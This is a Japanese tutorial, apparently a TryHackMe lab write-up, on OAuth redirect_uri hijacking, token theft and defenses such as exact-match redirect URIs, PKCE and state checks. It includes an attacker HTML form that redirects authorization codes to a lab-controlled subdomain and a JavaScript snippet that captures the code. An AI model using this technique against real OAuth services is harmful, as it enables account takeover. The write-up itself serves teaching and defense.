はじめに
OAuth は現代アプリの認証基盤ですが、設定を誤ると簡単に破られます。
その代表例が redirect_uri の脆弱性を悪用したトークンハイジャック攻撃。
本記事では、攻撃の仕組み、正常フロー、client_id の扱い、そして防御策を実務レベルでまとめます。
1. OAuth の基本:redirect_uri とトークンの受け渡し
OAuth 2.0 の Authorization Code Flow では:
- ユーザーがログイン
- Authorization Server が認可コード(code)を発行
- code を redirect_uri に送る
- クライアントが code を使ってアクセストークンを取得
このうち redirect_uri は “認可コードの送り先” です。
だからこそ、攻撃者に奪われるとコードも奪われるという非常に重要なパラメータ。
2. redirect_uri の役割と危険性
redirect_uri の役割
- 認可コードを送り返す住所(callback先)
- 開発者コンソールに事前登録された URI と “完全一致”しなければならない
なぜ危険なのか?
登録されている redirect_uri のうち ひとつでも攻撃者が所有できる URI があれば:
Authorization Server は「合法なリダイレクト先」と判断してしまう。
結果、攻撃者は Authorization Code を直接受け取れる。
OAuth 最大の事故はここで起きます。
3. redirect_uri ハイジャック攻撃の流れ(TryHackMe の例)
TryHackMe のシナリオでは、
http://dev.bistro.thm:8002/ が redirect_uri として登録済みで、
攻撃者はこのドメイン(サブドメイン)を完全に支配しています。
つまり:
攻撃者は redirect_uri に自分のページを設定できる状態。
たとえばこんな攻撃用 HTML を配置するだけ:
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
<input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
<input type="submit" value="Hijack OAuth">
</form>
ユーザーがログインすると、認可コードが
攻撃者のページに ?code=XXXX として飛んでくる。
攻撃者は JS で回収:
const code = new URLSearchParams(window.location.search).get('code');
console.log("Intercepted Authorization Code:", code);
そのコードを /token(または Demos の /callbackforflag)に送れば
攻撃者は 正式なアクセストークン を取得できる。
4. どうやって “redirect_uri が攻撃者ドメインになったのか?”
攻撃者が redirect_uri を勝手に書き換えたわけではありません。
本質はこうです:
1) 開発者が redirect_uri として登録していた
例:
http://dev.bistro.thm:8002/callback
2) そのドメインが攻撃者に乗っ取られた
パターンは現実でも多い:
- 古い開発用サブドメインが放置される
- DNS が解放され、攻撃者が再取得
- Wildcard redirect_uri(*.example.com)が設定されていた
- SaaS の redirect_uri を登録したまま権限が切れた
TryHackMe では 演習のため最初から攻撃者が自由に操作可能という設定。
つまり攻撃者は:
“登録済み redirect_uri のうち、自分が所有するものを使っただけ”
これが OAuth の盲点。
5. client_id(ClientString)はどこから来た?盗まれたのか?
ここが誤解しやすいが重要。
結論
client_id は盗まれない。盗む必要もない。
client_id は “公開情報” だから。
実際:
- OAuth のログイン URL
- フロントエンドの JavaScript
- HTML 内のフォーム
- SPA の設定ファイル
- WebInspector(Network) の通信内容
…どこからでも見える。
Google OAuth の login URL も client_id 丸見えです。
client_id=123abc.apps.googleusercontent.com
そして client_id が公開でも問題ない理由は:
OAuth の安全性は client_id に依存していない。
redirect_uri の厳密一致と PKCE が本体。
だから攻撃成立の条件として client_id は何の壁にもならない。
6. 正常な OAuth 2.0 Authorization Code Flow(安全版)
攻撃シナリオと比較するため、正常フローをまとめます。
正常フロー(安全)
- クライアントが
/authorizeに redirect - サーバがユーザーの認証 & 同意
- 認可コードを 登録済み redirect_uri に返す
- クライアントがバックチャネルで /token に code + PKCE verifier を送信
- access_token / refresh_token を受け取る
- Resource Server にアクセス
要点:
- redirect_uri は完全一致
- code は一度しか使用できない
- PKCE(S256)が必須
- state 検証で CSRF 防止
- クライアントとサーバの通信は HTTPS
7. redirect_uri ハイジャック攻撃が成立する理由
以下の3条件のうち 1つでも破られると OAuth は終わる:
(1) redirect_uri が攻撃者のドメインだった
→ 本来の callback ではなく、攻撃者のページへ code が届く
(2) PKCE が無い、または検証されない
→ 奪った Authorization Code がそのまま使われてしまう
(3) redirect_uri を開発者が正しく管理していない
→ 古いサブドメイン・ワイルドカード設定がそのまま登録されていた
攻撃者は redirect_uri を支配できた時点で勝利です。
8. 防御方法(実務レベル)
✔ redirect_uri は 1つだけ、完全一致
最も重要。ワイルドカード禁止。
✔ PKCE(S256)を必須化
コードを盗まれても再利用できなくなる。
✔ state / nonce を厳密に検証
CSRF・リプレイ防止。
✔ 古いサブドメインの整理(非常に重要)
企業で実際に最も多い事故。
✔ Authorization Code を 1 回だけ使用可能にする
二重利用を検知して即エラーにする。
まとめ
redirect_uri は「認可コードの送り先」。
ここを攻撃者に握られた瞬間、OAuth は破綻する。
client_id は公開情報であり、攻撃者が盗む必要はない。
問題は redirect_uri の設定管理 が甘い点。
つまり:
OAuth の安全性=redirect_uri の管理+PKCE の有無